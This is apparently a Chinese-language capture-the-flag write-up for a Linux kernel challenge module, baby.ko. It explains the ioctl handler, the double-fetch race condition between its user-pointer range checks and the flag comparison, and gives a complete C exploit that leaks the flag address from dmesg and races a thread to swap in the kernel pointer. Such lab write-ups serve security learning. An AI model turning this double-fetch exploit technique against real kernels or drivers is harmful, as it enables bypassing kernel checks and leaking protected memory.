学kernel的第三天,仍然很不想学
拿到题目先看看启动项
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
echo "flag{this_is_a_sample_flag}" > flag
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod baby.ko
chmod 777 /dev/baby
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
可以看到我们要分析的文件应该是baby.ko
将它拖进IDA:
首先看看fop
可以看到只实现了一个baby_ioctl比较有用:
当command为0x6666时,将打印flag的地址,当command为0x1337时,会进行三个检查,然后对比用户输入数据和硬编码的flag是否相同,相同则输出flag
三个检查中current_task+0x1358比较难理解,动态调试一下能够看到它其实是0x7ffffffffffff000,a3是一个结构体,大致为:
struct flag
{
char*flag_ptr
int flag_len
}
所以三个检查分别为
- flag结构体指针是否在用户态
- flag_ptr指针是否在用户态
- flag_len是否和硬编码的flag长度相同
这个题目考察的是double fetch的漏洞:
当内核想要取用用户态数据的时候,第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),第二次才是真正的使用。这中间就有一个时间差,如果通过线程竞争,在第一次检测通过之后,通过其他线程篡改数据,就可以让内核使用篡改后的数据,而这个题,显然就是去碰撞一个时间点,即通过了_chk_range_not_ok的检测,且还没有开始把用户态数据和硬编码flag进行比较之前成功篡改数据,就可以将真正的flag打印出来。
exp:
#include <string.h>
char *strstr(const char *haystack, const char *needle);
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <string.h>
char *strcasestr(const char *haystack, const char *needle);
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>
#define TRYTIME 0x1000
#define LEN 0x1000
struct attr
{
char *flag;
size_t len;
};
unsigned long long addr;
int finish =0;
char buf[LEN+1]={0};
void change_attr_value(void *s){
struct attr * s1 = s;
while(finish==0){
s1->flag = addr;
}
}
int main(void)
{
int addr_fd;
char *idx;
int fd = open("/dev/baby",0);
int ret = ioctl(fd,0x6666);
pthread_t t1;
struct attr t;
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
system("dmesg > /tmp/record.txt");
addr_fd = open("/tmp/record.txt",O_RDONLY);
lseek(addr_fd,-LEN,SEEK_END);
read(addr_fd,buf,LEN);
close(addr_fd);
idx = strstr(buf,"Your flag is at ");
if (idx == 0){
printf("[-]Not found addr");
exit(-1);
}
else{
idx+=16;
addr = strtoull(idx,idx+16,16);
printf("[+]flag addr: %p\n",addr);
}
t.len = 33;
t.flag = buf;
pthread_create(&t1, NULL, change_attr_value,&t);
for(int i=0;i<TRYTIME;i++){
ret = ioctl(fd, 0x1337, &t);
t.flag = buf;
}
finish = 1;
pthread_join(t1, NULL);
close(fd);
puts("[+]result is :");
system("dmesg | grep flag");
return 0;
}